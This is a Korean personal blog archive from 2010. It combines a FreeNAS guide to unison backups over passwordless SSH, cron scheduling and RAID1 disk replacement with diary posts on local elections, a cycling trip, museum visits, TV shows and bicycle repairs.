$ chmod +x /mnt/raid/user/natas/backup
* unison은 FreeNAS의 cron이나 web interface에서 바로 실행되지 않는데, 환경변수 HOME이 반드시 지정되어야 한다. 또한 unison의 출력이 표준 에러(stderr)로 나오므로  이것을 표준 출력(stdout)으로 리다이렉트 해줘야(2>&1) 작동 검증을 쉽게 할 수 있다.

SSH 키 생성


* ssh 키를 생성하는 이유: unison이 backup server에 로긴할 때 암호를 묻지 않고 바로 접속이 가능해야 cron 등에서 unison을 주기적으로 실행할 수 있다.

* ssh-keygen으로 키 페어를 생성한다. passphrease 는 그냥 enter 입력.
$ su -
...
# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root//.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
* 생성된 key를 backup server에 복사한다. 이때 backup server로 ssh 로긴이 가능해야 한다. 복사가 끝난 후 암호를 묻지 않고 backup server에 ssh 로긴이 가능한지 확인.
# scp ~/.ssh/id_rsa.pub 192.168.123.100:~/.ssh/authorized_keys
# ssh 192.168.123.100
Last login: Thu May 20 18:41:00 2010 from 192.168.123.199
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
        The Regents of the University of California.  All rights reserved.

Welcome to FreeNAS!
# exit
#

Unison Test


backup script를 사용하여 unison을 테스트해 본다. 주의: main server 및 backup server에  /mnt/raid/share 디렉토리가 존재해야 한다. unison을 처음 실행하면 처음 실행되서 그렇다는 경고 메시지가 장황하게 나온다.
# cd /mnt/raid/natas
# ./backup
Connected [//main-nas.local//mnt/raid/share -> //backup-nas.local//mnt/raid/share]
Warning: No archive files were found for these roots, whose canonical names are:
/mnt/raid/share
//backup-nas.local//mnt/raid/share
This can happen either
because this is the first time you have synchronized these roots,
or because you have upgraded Unison to a new version with a different
archive format.  

Update detection may take a while on this run if the replicas are
large.

Unison will assume that the 'last synchronized state' of both replicas
was completely empty.  This means that any files that are different
will be reported as conflicts, and any files that exist only on one
replica will be judged as new and propagated to the other replica.
If the two replicas are identical, then no changes will be reported.

If you see this message repeatedly, it may be because one of your machines
is getting its address from DHCP, which is causing its host name to change
between synchronizations.  See the documentation for the UNISONLOCALHOSTNAME
environment variable for advice on how to correct this.

Donations to the Unison project are gratefully accepted:
http://www.cis.upenn.edu/~bcpierce/unison
main server의 /mnt/raid/share에 몇 개 파일을 생성하고, 마찬가지로 backup serevr의 /mnt/raid/share에 다른 파일을 몇 개 생성해 놓은 다음 backup 스크립트를 다시 실행해 본다.
# cd /mnt/raid/user/natas
# ./backup
Connected [//main-nas.local//mnt/raid/share -> //backup-nas.local//mnt/raid/share]
위와 같은 메시지가 나오고 main server 및 backup server의 내용이 동일하면 확인 끝.

unison은 SSH를 사용해 원격 컴퓨터에 접속해 파일 해시를 가져와 두 컴퓨터 사이의 파일 해시를 비교한다. 서로 다르면 파일을 복사해서 맞춘다.

생성된 키는 /root/.ssh에 보존되는데, main server가 리부팅하면 사라진다. 이것을 방지하기 위해 생성된 키를 HDD의 /mnt/raid/natas/.ssh_root에 보관하고 main server가 부팅될 때 /root/.ssh로 다시 복사해 놓는다. 일단 root 계정에 생성된 .ssh 디렉토리를 통째로 natas 계정으로 복사.
# cp -r /root/.ssh /mnt/raid/user/natas/.ssh_root

그 다음 NAS의 web에서 부팅 후 실행할 명령으로 등록.

System->Command scripts->+
Command: cp -r /mnt/raid/user/gstech/.ssh_root /root/.ssh
Type: PostInit

cron job으로 등록


두 서버의 동기화를 자동으로 하려면 cron table에 backup 스크립트를 등록해 사용자가 지정한 시간마다 실행하도록 한다. FreeNAS의 cron은 각 사용자별 cron table을 제공하지 않는다. 오직 root만 가능한 것 같다.

커맨드 쉘에서 테스트하는 것과 web interface에서 cron 잡으로 실행하는 것은 차이가 좀 있다. 디렉토리 사용하는 거나 unison의 해시 파일 생성 디렉토리 등등이 달라 한번에 실행되지 않는다. 일단, 웹에서 Advanced->Command로 가서 /mnt/raid/user/gstech/backup 를 실행해 본다. 아래와 비슷한  메시지가 나타난다.
The archive file is missing on some hosts.
For safety, the remaining copies should be deleted.
  Archive arc5fcde3990570240836f07c4d9dd3a43 on host gstech-nas.local is MISSING
  Archive arc2bd324e34ece9d322c9e5b4e3e219f3 on host gstechlab-nas.local should be DELETED
Please delete archive files as appropriate and try again.
지시대로 main server 및 backup server의 해당 파일들을 지워준다.
# ssh 192.168.123.100
...
# rm -fr /mnt/raid/.unison/*
# exit
# rm -fr /mnt/raid/.unison/*
Advanced->Command로 가서 /mnt/raid/user/gstech/backup 를 실행하면 처음 unison을 실행할 때와 마찬가지의 메시지가 나타난다.  실행이 성공적으로 되면 cron 에 등록해 주러 간다. 아래 예는 매일 4:00am에 backup을 실행하는 것이다.

System->Advanced->Cron->Add(+)
Command: /mnt/raid/user/natas/backup
Who: root
Description: Unison Backup
Schedule time:
Minutes: 0
Hours: 4
Days: all
Months: all
Week days: all

여기까지 입력하고, Run now 버튼을 눌러 화면 상단에 'The cron job has been executed successfully' 이 나타나면 다 끝난 것이다.  save하고 reboot 한 다음 다시 실행해 보아서 잘 되면 다 끝난 것.

RAID 사고 대처


RAID1 미러링 중 HDD 하나가 fail나서 교체하는 경우에 어떻게 대처하나? 예: ad7이 fail 났을 경우.
mirroring중 하나의 HDD에 에러가 나더라도 다른 정상적인 HDD가 있으면 별 일 없이 잘 작동한다. 고장난 HDD를 교체할 수도 있고, 교체하지 않고 그대로 쓸 수도 있다. 일단 고장난 HDD를 제거해야 한다. 고장난 HDD가 있을 경우 RAID 상태 메뉴에는 DEGRADED라고 표시된다. Disks->Software RAID->RAID1->Tools 메뉴에서 information을 보면 어느 HDD가 맛이 갔는지 확인할 수 있다.

Disks->Software RAID->RAID1->Tools로 들어가서 Volume Name에 사용중인 raid를 선택하고 고장난 HDD를 지정한 다음,

Volume Name: raid
Disk: ad7

Command에서 'forget'을 선택하고 send command 버튼을 클릭한다. 다음에 Command에서 'remove'를 선택하고 send command 버튼을 클릭하면 고장난 HDD가 raid에서 제거된다. 그 다음 Disks->Management에서 고장난 HDD를 제거한다.

새로운 HDD를 추가하려면 NAS를 끄고 고장난 HDD를 빼고 새로운 HDD를 배선한 다음, 부팅하여

Disks->Management->Add(+)로 새 HDD를 추가하고, Preformatted file System: Software RAID로 지정한다. 다음, raid를 재구성하러 간다.
Disks->Software RAID->RAID1->Tools
Volume Name: raid
Disk: ad7
Command: 'insert' & send command
Command: 'rebuild' & send command

rebuild 과정은 매우 느리게 진행된다. Disks-Software RAID->RAID1->Information 에서 rebuild 과정이 진행되는 상황을 볼 수 있다. rebuild가 진행되는 와중에도 HDD 사용은 가능하다.

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no vote, no kiss

잡기 2010. 5. 23. 23:26
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4월 28일. 출장중 목격한 자동차 사고. 안타깝게도...

되도록이면 차가운 바보가 되고 싶지 않은데... 아... 바보다. 바보 맞다. 게다가 인생이 너무 차갑다. 생활과 영혼이 최근 몇 년 동안 비동기로 움직이지 않았다. 마음은 말라비틀어진 조화같다. 그래도 좋은 것은 흡사 이쁜이수술로 처녀성을 복원하듯이 자신을 조로아스터 장작에 활활 태워 정화한 후로 포레스트 검프처럼 단순하고 바보같고 정직한 개마초가 된 것이다.

그래서 이번 선거에 찍을 물고기를 골랐다. 야권 후보 단일화 경선에 참여했다. 유시민은 아슬아슬하게 이겼고 민주당은 뒷끝이 깔끔했다. 경기도 교육감은 김상곤, 경기도지사는 유시민으로 별 생각없이 선택할 수 있게 되었지만 나머지는 쇼핑에 시간이 걸렸다. 김상곤은 무상급식, 무상교육을 대표공약으로 들고 나왔다. 알고 보니 전국 대부분의 교육감 후보들이 진보 진영의 아젠다를 토씨 하나 안 빼먹고 똑같이 사용하고 있다 -- 이명박 정권 교육 정책이 병맛 같아서 그럴까, 아니면 무상급식의 파괴력에 단지 눈치보기를 하는 것일까, 아니면 투표율에 기대 진보 쪽의 표를 분산시키는 고도의 정치공작일까...

심상정. 개그본능이 없고 우리 마누라하고 비슷하게 생긴 구석이 있어 그 양반을 눈여겨 본 적이 없다.  5월 15일 0시 조금 지나 시작한 SBS의 시사토론에서 김문수는 유시민에게 내내 발렸다. 오죽하면 아고라에서 이런 관전평도 나왔다; '김문수도 유시민 찍을 꺼다' 심상정이 그 자리에 끼었더라면 어땠을까? 흥행도 모르는 병맛 SBS가 꼽사리로라도 좀 끼워주지.

유시민과 심상정 공약 사이에 차이가 몇몇 눈에 띈다. TV 공개 토론에 심상정을 참여시켜 유시민에게 미친 개처럼 달겨들어 물어뜯어 애써 연습한 유시민의 저 어색한 스마일을 날려 버린 다음 흡족하게 짭짭 따끈한 내장을 씹어먹고 피묻은 미소를 지어 보일 수도 있을 것이다. 그 역도 될 수 있을테고. 그런데 그런 것은 TV에서 늘 보던 뭣같은 정치가들이 멱살잡고 싸우는 흔해빠진 얘기와 다를게 없다.드라마를 만들면서 서로 윈윈하는 길이 되려면 유시민의 제안과 초청, 주선으로 경기도지사 야권 정책 TV 토론회를 벌여 유시민과 심상정이 서로의 뼈다귀를 씹는 격렬한 TV 토론을 벌이다가 끝내기 바로 2분 전, 심상정의 양보로 후보 단일화를 선언하는 것도 재밌을 것이다. 어안이 벙벙해진 사회자 및 방청객, 둘의 뜨거운 포옹과 키스는 모두 사전에 방송국과 합의하고 연출한다. 둘이 히죽 웃으며 입을 모아 이렇게 말한다 'no vote, no sex'.

농담이고, 지는 게임을 하고 있어도 진보신당에게 여러 가지 이유에서 지지를 보낸다. 이 참에, 유시민은 뽑고, 후원금은 진보신당에 보낼까? 정치후원금 10만원은 연말정산 때 돌려받는다. 후원금으로 낸 돈은 후보가 먹고, 국가는 그 돈을 돌려준다면 후원금을 많이 내는 후보를 국가가 밀어준다는 얘기가 되잖아?

하여튼 쇼핑 결과는 이렇다:
  • 경기도지사: 유시민(국참당) -- '도지사가 가진 모든 권한을 이용해서 4대강 사업을 방해하겠다' 라고  유시민이 말했다. 바람직하다. '삽질 지옥, 투표 천당' 재밌는 것이 도지사 후보들 모두 전과자다.
    경기도의회의원: 한성우(민노당) -- 후보중 한나라당의 정금란와 친박연대의 이상진은 수원시의회, 도의회의원을 꾸준히 해온 인물인데 한나라당 출신답게 그 동안 한  일이 거의 없다는 당연한 기사를 보았다. 이사온 지 얼마 안되어 충분한 자료가 없어 아쉽다. 일단 한성우는 김상곤 교육감 후보와 일했던 사람.
    수원시장: 염태영(민주당) 또는 유덕화(진보신당) -- 야권 후보 단일화로 선출된 염태영의 잡화점 공약이 마음에 안든다. 전 시장이 심재인을 밀어주면 유덕화나 염태영은 모두 나가리가 될 가능성이 높ㅈ만 남은 기간동안 틈틈이 공약을 벤치마크해서 최종 결정하겠지만 공약 보니 마음이 벌써 유덕화에게 가 있다.
    수원시의원: 이미영(민노당) -- 우리 아파트 동대표. 몇 개월 전에 동네 수퍼에서 봤다.아파트의 아줌마들 사이에선 자식들 팽개치고 민노당에 미쳐 선거판에 뛰어들었다는 평을 듣는다. 달리 말하면 아이들에게 참교육 시킬려고 방목한다는 얘기도 된다. 동네 마녀들의 시기심이야 뭐 개무시하고.
    경기도교육감: 김상곤. 이 양반 말고 대안이 있나? 당신을 향한 나의 사랑은 무조건 무조건이야~
    경기도교육의원: 류귀현. 중학교 교사. 대다수 후보가 10억 가량의 재산을 가지고 있었다. 그보다는 유일한 전과자(전교조)라서 뽑았다. 교육감과 마찬가지로 선택의 여지가 없지 않은가?

textcube.com이 blogger.com에 통합된다. 사실상 없어진다. 그래서 tistory로 일종의 엑소더스가 벌어지고 있는 듯. textcube.org와 연관이 없지만 앞으로 텍스트큐브가 지속적으로 업데이트가 된다는 보장이 없다. 저번 달에 티스토리로 옮기는 것을 고려하여 테스트를 했다.  http://paedros.tistoy.com아직 옮길지 말지 결정하지 않았다.

5월은 종합 소득세 납부의 달. 올해부터 건강보험료를 경비로 인정해 준다. 매년 5월만 되면 프리랜서로 사는 것이 새삼 피곤하게 느껴진다 -- 세금 내려면 돈을 벌어야 한다.

SF팬도 아닌데 해피SF의 게시물을 본 전씨가 말했다. 크로스 로드에 4-5만 단어짜리 중편(?)을 기고하면 200만원 준다는 뭐하고 있어? 200만원 주면 쓴댔잖아? 고료가 착하다는 얘긴 들었지만 고작 4만 단어에 200만원이나? 김씨가 예전에 크로스 로드가 후하다는 말을 한 적이 있었지만 얼마나 후한 지 가늠은 안 되었다.

그런데 내 사랑 김보영은 장편 안 쓰고 뭐 하고 있을까? (그의 인생에 별 관심 없다. 글만 보는 편이라서.) 본인은 르귄같은 인간이 될 지, 르귄 짝퉁같은 인간이 될 지, 전혀 가망성은 없어 보이는 모던 SF 작가가 될지, 제 4의 길을 선택해 빌빌대는 SF작가가 될지  감이 안 잡히는데(한창 성장중인 청소년 처럼). 김보영을 좋아하는 이유는 단순했다. 찌든 구석이 없어 수 차례 갈구고 제련하고 자진해서 장염과 위경련에 시달리면 작품이 나올 것 같다. 구체적으로는 그 한가한 문체는 집어치우고 돈을 들여서라도 성전환 수술을 한 다음 심상언어를 한국어로 효과적으로 번역하는 피나는 연습을 거치고 입은 꼬매도 한번 글로 지껄이면 씨줄로 지식과 교양이 날줄로 비단결같은 감수성이 시냇물처럼 끝없이 졸졸 흘러 나와 엮이고 합쳐져 강으로 바다로 모이듯 집성되고 교미해도 임신 안될 것 같은 얼음여왕처럼 자기 글을 사정없이 재단할 수 있으면 정말 좋을 것 같다. 소설가는 모름지기 눈 앞에 당근을 애원하는 절박한 당나귀가 되어야 바람직하므로, 연애에 실패해서 몬테솔로로 늙어가면서 오직 돈과 지랄맞은 취향을 쫓다가 망하는 비운이 곁들여지면 금상첨화다.

아참. 훌륭한 소설가에겐 인격 같은 건 필요없으니 예절이나 눈치, 인간관계 증진용 SNS는 멀리하는 것도 좋을 것 같다. 좋은 작품엔 할 수 없이 고통이 따른다 으쓱. 그래야 김보영이 장편에 전념할 수 있을 것 같다. 장편 집필에 방해되니까 다리는 스스로 잘라 버리는 게 낫지 않을까? 별별 짓을 다해도 뮤즈가 깃드는 건 천운이지만, 이 빌어먹을 나라에선 글쟁이의 글에서 열정과 광기가 느껴지지 않아. 일단 문장력이 형편없어 힘이 후달리지. 어떻게 소설가란 것들이 '글'을 못 쓸까?  김보영이 무럭무럭 자랐으면 좋겠다.

일 트위터가 화장실 곤경남을 살렸다 -- 심비안 OS에는 Gravity라는 걸출한 SNS 프로그램이 있다. 그래비티를 설치해서 휴지나 배달해 달라고 해볼까? 하지만 소셜라이즈 되는 건 정말 싫어서...

노키아 휴대폰에서 누구나 인정하는 명작 앱인 스포츠트래커는 버전업하면서 트랙로그의 업로드를 당분간 막아 놓았다. 얼마나 더 훌륭해지려고 그럴까? 업그레이드 된 스포츠트래커는 UI가 깔끔하다. 그리고 드디어 OSM 지도를 사용하기 시작했다(나를 비롯해 전세계의 수많은 스포츠 트래커 사용자들이 노키아에 청원했다). 이전 버전과 전력 소비량을 비교해 봤더니 66mA(이전)에서 69mA로 전류 소비량이 약간 늘었지만 눈에 띄는 정도는 아니다. 다만 새 버전에서는 지도를 다운로드 받아 보기를 하면 전력 소비가 현저하게 늘어났다.

고산, 2년만의 증언 '내가 우주선을 못 탄 이유' -- 수고했다. 나라도 그랬을 것이다. 알고 싶어서.

아이와 자주 놀러갔다. 매주 이틀 쉬면서 아이와 놀아준다면 1년중 100일을 함께 보내는 셈이다. 어린 아이가 천재인지 영재감인지 구분하는 비교적 간단한 척도가 있다. 3-4세 짜리 아이가 직선과 평면 도형을 잘 그리거나 일련의 복잡한 손동작을 순차적으로 정교하게 사용한다면 보통 이상의 지능을 가졌다고 볼 수 있다. 우리 아이에겐 그런 낌새가 보이지 않았다.흐뭇.

정신사납게 바쁘고 생활은 날이 갈수록 엉망이 되어 가지만, 주말에 자전거 타고 놀러갔다.

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안산 습지 공원 앞 산책로의 벤치 앞에 자전거를 세우고 앉아 담배를 한 대 입에 물었다. 주말에는 담배를 거의 피우지 않았다. 따라서 년중 약 100일 가량은 담배를 피우지 않는 셈이다. 하여튼 오늘은 여기가 목표가 아니고...

바람소리.

오이도 등대
오이도가 목표다. 안산 외곽 공단길 서쪽으로 꾸준히 달려 오이도 등대 앞까지 왔다. 오는 길 내내 뒷 바퀴 디스크 브레이크 림이 패드에 닿으며 썩썩 칼가는 소리가 들려 신경이 거슬렸다. 패드 유격을 잘못 조절한 탓이다 -- 집에 와서 제대로 했다.

시화 방조제 옆 캠핑장
시화 방조제 앞 텐트장. 이런데 캠핑장이 있을 줄은 몰랐다. 오이도 부근은 한국의 서해안 어딜 가도 볼 수 있는 관광지 돗대기 시장과 똑 같았다. 인파가 들끓어 사람 많은 곳을 꺼리는 편이라 딱히 오가고 싶은 생각이 들지 않지만...

시화방조제
따라서 오이도까지 찍고 안산을 거쳐 돌아가느니, 저기 보이는 시화 방조제를 따라 남쪽으로 내려가 그나마  시골길 같은 곳을 달려 집으로 돌아가고 싶은 마음이 굴뚝 같았다.

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아니면 저 멀리 보이는 인천까지 올라가 강화도에 들어가던가...

안산 자전거 꽃길
오이도에는 볼 일이 없어 호객하는 상인들을 무시하고 상가 거리를 빠져 나왔다. 오이도가 안산시인 줄 알았는데 시흥이었나? 이 도로의 이름은 자전거 꽃길. 자전거 꽃길은 안산 시 경계에서 갑자기 끝났다. 안산역 앞까지 달렸다.

안산 다문화 음식 거리
내가 가고 싶었던 곳은 이 곳, 브라보 안산시 원곡동 외국인 마을, 일명, 다문화 음식 거리. 오자마자 기분이 좋아졌다. 아시아 여러 국가의 향내가 풍겼다. 고향식당이란 베트남 음식점에서 쌀국수를 먹으려고 했는데 눈에 띄지 않았다. 길을 한 바퀴 도니 다른 베트남 식당이 보인다.

6천원 짜리 쇠고기 쌀국수를 시켜 먹었다. 입에 대자마자 베트남 길꺼리에서 먹던 것보다 맛이 없군,  포호아 같은 레스토랑에서 먹는 것보다는 맛이 떨어지는 걸? 하고 속으로 중얼거렸다. 그제야 생각났다. 베트남 쌀국수보다 달짝 지근한 타일랜드 쌀국수를 선호했다. 타이 식당에 갈껄...

경기도 미술관
경기도 미술관. 다문화 음식 거리에서 그리 머지 않은 곳에 경기도 미술관과 화랑 유원지가 있다. 정식 명칭은 경기도 현대 미술관인데 시원스레 생긴 외곽과는 달리 건물 입구에서 보는 건물 내부 조망이 좀 갑갑해서 뭘 이리 쪼잔하게 설계해 놨나 투덜거렸다. 게다가 어떤 바보가 블라인드를 잔뜩 쳐 놓아 꽤 좋을 것 같은 외부 전망을 막아 놓았다.

마침 '경기도의 힘'이란 전시회가 진행 중이었다. 무료다. 영문으로 Him of Gyeonggi-do 라고 써놓고  which means the Strength of Gyeonggi Province 라고 부언 설명을 영문으로 달아 놓았다. 왠지 내가 다 쪽팔린다. 안산시에 거주하는 외국인들을 위한 배려라도 해서 12개국어로 써놓을 것이지. 공매시장에서 김홍도 작품을 통크게 사재끼는 저력있는 안산시의 쪼잔함이나 괜히 남까지 쪽팔리게 만드는 큐레이터의 닭대가리 스러움이란...

경기도 미술관
건물 내장으로 초등학생들의 작품(?)을 나무 타일로 만들어 붙여 놓았다. 도자기 타일로 만들었더라면 더 좋았을텐데 돈이 많이 들어서 어려웠을 것 같다. 그럼 이건 영구 전시 작품이 아닌건가?

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전시관 중 하나. 커뮤니티 스페이스 리트머스의 '냄새로 보는 원곡동 이미지' 린넨 천에서 점심을 먹었던 원곡동의 냄새가 났다. 저자는 잡종 교배 문화와 정서를 총체적으로 느낄 수 있게 한 것이란다. 그다지... 였다. 냄새만 풍겼을 뿐. 이왕 하는 김에 각국 길거리 음식을 조금씩 나눠줬더라면 정말 훌륭한 예술이 되었을 것 같다.

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한켠에서는 예술가가 예술론 운운 하는 비디오를 상영했다. 잡종교배된 인간의 삶에서 기예는 누가 더해준다고, 빼내려 애쓴다고 없어지는 것이 아니므로 예술의 멸종을 우려할 필요 없다고 여긴다. 훌륭한 전시장이나 예술 애호가가 많아진다면 빌어먹고 살던 예술가들의 살림이 좀 필 것이다. 예술가가 굶주리다가 죽었다고 별로 불쌍히 여기지 않았다. 예술문화의 전통(?)이 사라지면 삶이 팍팍해질까? 그래서 일주일 내내 쉬는 날 없이 일하면서 TV의 개그콘서트나 시트콤 프로그램을 보는 노동자의 인간미나 감각이나 교양 수준이 떨어진다고 생각하는 것은 아니겠지? 경기도의 힘 감상 후기: 그래도 이 작자들은 마음으로 대중문화를 이해하는 것 같다. 궁시렁거리긴 했지만 작품 대부분을 즐겁게 잘 봤다.

왕송 저수지
아내가 갑자기 아이 데리고 놀러간단다. 옛날 자전거를 사무실에 갖다 둘 겸 왕송 저수지에 갈 겸 몰고 나왔다. 저 자전거를 타고 주행하는 것이 이것이 마지막이다.

왕송 저수지
물을 댄 논 저 편에 보이는 왕송 저수지의 물색은 흙빛이지만, 의외로 깨끗해서(냄새 안 나서) 놀랐다. 왕송저수지에서 낚시가 잘 된다는 소문이 돌아 낚싯꾼들이 끊이지 않자 오염을 염려한 예스 의왕시는 왕송 저수지에서 낚시를 전면 금지했다. 정말 잘했다.

의왕 자연학습공원
왕송 저수지 옆에 있는 의왕 자연학습공원. 철새 관찰용 망원경이 좋아 저수지 건너편 논에서 일하는  농부의 얼굴이 생생하게 보였다. 그보다는 자연학습공원에서 돗자리를 펴고 놀고 있는 가족을 관찰했다. 사람 관찰이 새대가리들 관찰보다 재밌지는 않았다.

 의왕 자연학습공원
의왕 자연학습공원 안. 왕송저수지 주변은 자전거 타고 산책하기 좋은 도로지만 자전거를 위한 배려 따위는 없었다. 의왕시는 시민 약 14만명(?)의 자전거 보험을 무료로 들어 주었다. 의왕시의 자전거 도로 상황이 워낙 개판이라 자전거 보험을 들어줬나 보다(농담).

철도 박물관
의왕 자연학습공원 근처 철도 박물관. 철도 매니아가 아니라서 기차의 계보는 잘 몰라도 이건 예전부터 알고 있었다. 명판의 파시가 pacific이란 것. 몇몇 종류의 기차는 구분이 가능하지만 한국에는 디젤 기관차와 KTX , 전철 외에 다른 기차를 구경할 기회가 없었다.

철도 박물관
어린 시절 타던 무궁화호. 이런 기차를 타고 방방곳곳을 돌아다녔다는게 좀체 믿기지 않는다. 어렸을 적에는 돈이 없었는데 대체 어떻게...? 그야 물론 불법으로.

철도 박물관
햇볕 아래서 다 썩어가는 수인선 협궤열차의 승객칸.

철도 박물관
'철마는 달리고 싶다'의 그 철마.

철도 박물관
1938년 202.7kmh의 속도로 달린 증기 기관차. 철도박물관 안에는 이것 저것 볼 것이 꽤 있었다. 심지어 기차 오타쿠 몇 명이 정성스레 사진찍는 광경을 목격하기도 했다. 신기했다. 열악한 한국에도 기차 오타쿠가 있다니.

철도 박물관
1909년 2월 2일. 순종의 개성 순시. 아쉬운 것은 박물관에 도표로 정리해 놓은 한국의 철도 역사가 1999년을 끝으로, 더 이상 업데이트 되지 않았다.

안양천 자전거 도로
철도박물관을 나와 의왕역을 지나 다음 위성 지도에서 우연히 발견한 자전거 도로를 타고 사무실로 향했다. 이 길을 따라 안양천으로 주욱 내려가면 안전하게 사무실까지 자전거를 타고 출퇴근할 수 있을 것 같다.

카이바
카이바. 뭐에 홀리기라도 한 것 처럼 유아사 마사아키의 애니메이션을 계속 보게 되었다.

아바타 아앙의 전설
아바타 아앙의 전설. 1. 훌륭한데? 2. 국산이잖아? 연달아 10여편을 봤다. 아이는 별로 좋아하지 않았다. 하긴 물불바람흙을 알 나이도 아니고 뽀로로나 딩동댕 유치원을 볼 나이니까. 그중 딩동댕 유치원은 1982년부터 방송되었단다.

Lost
Lost S06E15. 드디어 낚시질의 끝인가? 6년 동안 아주 지겹고 끈질기게 이어져온 드라마인 로스트를 이 악물고 보고 있다.

Pacific
Pacific E09. 10화가 마지막 편이다. 이오지마를 거쳐 오키나와까지 왔다. 글로만 알던 것을 화면으로 보는 셈. 점점 더 처참해진다. 뽕맞은 듯한 병사의 젠장맞을 표정이 극화에 '알맞았다'.

Kickass
Kickass. 이 애가 죽어야 밸런싱이 맞을 것 같다는 생각이 들었다. 아이언맨2 보다 킥애스가 재밌다던데, 킥애스가 재미없으면 아이언맨2는 대체 얼마나 재미가 없길래... 이제 볼만한 영화라고 남은 것은 드래곤 길들이기 정도 뿐인가...



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간빙기

잡기 2010. 5. 10. 23:12
홍정곤 내과. 4/2 감기 때문에 우연히 방문. 늘 하던대로 처방전의 약품을 조사하다가 놀랐다. 흔해빠진 항생제를 쓰지 않았다. 그런데도 세 번 복용만에 감기 제증상이 사라졌다 -- 약 먹고 업무 시간에 졸았다. 잘 잤다. 정말 훌륭한 약빨이다.


남성속옷, ‘트렁크’ 가고 ‘드로즈’ 뜬다 -- 쫄사각의 원조는 소위 스포츠 이네웨어 같은데? 작년부터 자전거 타거나 산에 갈 때나 입곤 하다가 평소에도 자주 입게 되었다. 패션 보다는 기능성 속옷의 대단한 장점이 마음에 들었다 -- 땀이 차지 않는다. 등산 양말도 마찬가지다. 등산화, 등산양말, 기능성 속옷, 기능성 티셔츠를 툭하면 입고 다녔다. 이제 바지만 갖추면 회사로 등산하러 가는 셈이다.

그건 그렇고 꽉 끼는 속옷이 불알의 온도 조절 기능을 떨어뜨려 정자의 활동성을 낮추거나, 심지어 정자의 개체수를 떨구어 임신가능성을 한푼이라도 낮춘다면, 역으로 말해, 내일이 오지 않을 듯이 오늘에 충실하며 열심히 놀고 있는 젊은 남자라면 반드시 착용해야 하지 싶다.

국내 비공개 트래커 일곱 곳의 스내치 합계 -- 50편 중 38편을 보았다. 안 본 것들은 단지 재미 없어 보여서다. 본 것들 중에도 재밌는 건 몇 개 되지 않았다.

4월 24일 메모: 낼모레가 오월인데 날씨가 이 모양인 이유: 지구 온난화로 망가진 지구가 자정작용을 하는 중이란다. 어렸을 적엔 멋 모르고 러브록의 가이아를 좋아했다가 철들고는 헛소리라고 생각했다. 나중에 알고 보니 러브록도 본인의 가설을 후회했다. 낼모레가 오월인데 날씨가 이 모양인 또 다른 이유: 지금은 간빙기다. 지구온난화가 냉각을 저지하고 있다. -끝-

의지와 표상으로써의 우주 -- 십여년 전엔 이런 걸 별 생각없이 번지르르한 헛소리라고 단정했다. 지금도 그렇긴 하지만 예전과 다른 점은 뭘 하고 재밌게 지내는 분인지 궁금하지 않다. 나야... 재미없고 잘 지내지 못했다. 그건 그렇고 지난 수십 년 동안 학습하고 결론내리길, 이 우주에서 가장 좋은 것은 1. 산 채로 2. 느끼고 3. 배우고 4. 존재하는 것이다. 남들 의견이지 내 의견이 아니다. 내 의견은 별로 중요하지 않으므로 남들 의견으로 대신하는게 바람직한 처세같다.

따라서 범우주적 차원에서 보면 만사가 시시하다고 불평할 처지가 아니다. 무슨 일로 삶에 회의를 덜 느꼈나 생각해보니, 아무도 알아볼 수 없는 일에 열심일 때 큰 기쁨을 느끼는 것 같다. 하는 일에 관해 처자식에게조차 말한 적이 없다. 다만 일거수 일투족이 주로 인류를 위한 일에 편중되어 있으며 범죄와는... 범죄와 관련이 있다 없다 하기에 앞서, 진화논리를 따르면 선악은 무의미하다. 몇 안되는 낡은 진실이자, 언제나 교훈을 준다. 알려진 바대로 진실은 생활이나 환경 개선에 별 도움이 안 된다. 의지와 표상으로써의 우주관을 가져야 유의미한 광자의 흐름이 생긴다. 유의미한 광자의 흐름=염병할 운명과 역사의 실타래.

어떤 작자가 저 혼자 먹고 살겠다고 공공의 이익을 해하는 것을 처벌하는 공권력은 정의, 윤리, 선악의 잣대로 판단하는 것이 아니라 나보다 잘나가는 놈을 게임의 룰에 편입시키거나 초기조건을 가능한 동등하게 만들어(사회적으로) 게임이 공정해 보이도록 단체조율 하는 것이다. 선악이 없을 뿐더러 우열이 없는 유구한 생존게임인 진화사에서 살아남은 생존자들이  가진 공통점은 운이 좋다는 것 정도? 그래서 변태, 등신, 수구꼴통, 절도범, 강도, 강간범, 검사들이 선량하다는 이웃과 한 아파트에서  잘 살 수 있다. 지엄한 진화사의 교훈을 마음 속에 단단히 새기고 법질서를 심하게 무시하는 일 없이 그... 밑도 끝도 없이 바보같은 다양성 보전과 똘레랑스를 엄청 좋아하는 사람들을 위해 재미 없더라도 땀 흘려 봉사하자! 이거 되는대로 지껄이다 보니 말투가 노백수의 잉여로운 중앙일보 사설 스러워졌는데, 하여튼 염병할 역사와 운명의 실타래가, 심지어 우주 그 자체가 수많은 마음과 의지가 빚어낸 양자 얽힘이란 걸 믿게 되면 '아가 살려면 세상이 살아야 한다. 그게 당신같은 평범한 인간이 자신을 구하고 세계를 구하는 길이다'라는 류의 편리한 목적론에 영혼을 활용할 수 있게 된다.

주식으로 번 돈으로 이것저것 자전거 부속을 5만원어치 주문했다. Cree제는 아닌 듯한(싸고 믿을 수 없으니까) 중국제 고출력 LED가 달린 전조등과 18650 충전지, 충전기 등을 구입했다.

뒷 브레이크를 디스크 브레이크에서 v-브레이크로 교체하고 예전에 쓰던 짐받이를 부착할 계획이었으나 지지 나사가 없어 포기했다.

해괴하게 생긴 체인링크가 왔다. 이미 체인은 끊어놨는데 안 맞아 내가 뭘 잘못했나 싶어 체인을 한 칸 더 끊고 보니 악명 높은 TAYA 체인링크다. 털썩...

핸들 그립은 오른쪽만 두 짝이 왔다. 이상한 제품들은 반품하고 KMC 체인(체인 링크 포함)으로 교환했다.

디스크 브레이크와 패드 사이의 이격을 조절하기 위해 뒷 바퀴 허브의 고정 나사를 풀렀나 조였다 반복했지만 신통치 않다. 뒷바퀴의 디스크가 브레이크 패드에 닿아있어 속도가 안 난다. 과자 박스를 찢어 QR 레버와 프레임 사이에 끼워보니 패드와 디스크에 적당한 이격이 생겼다. 종이 조각 하나로 해결한 셈인가?

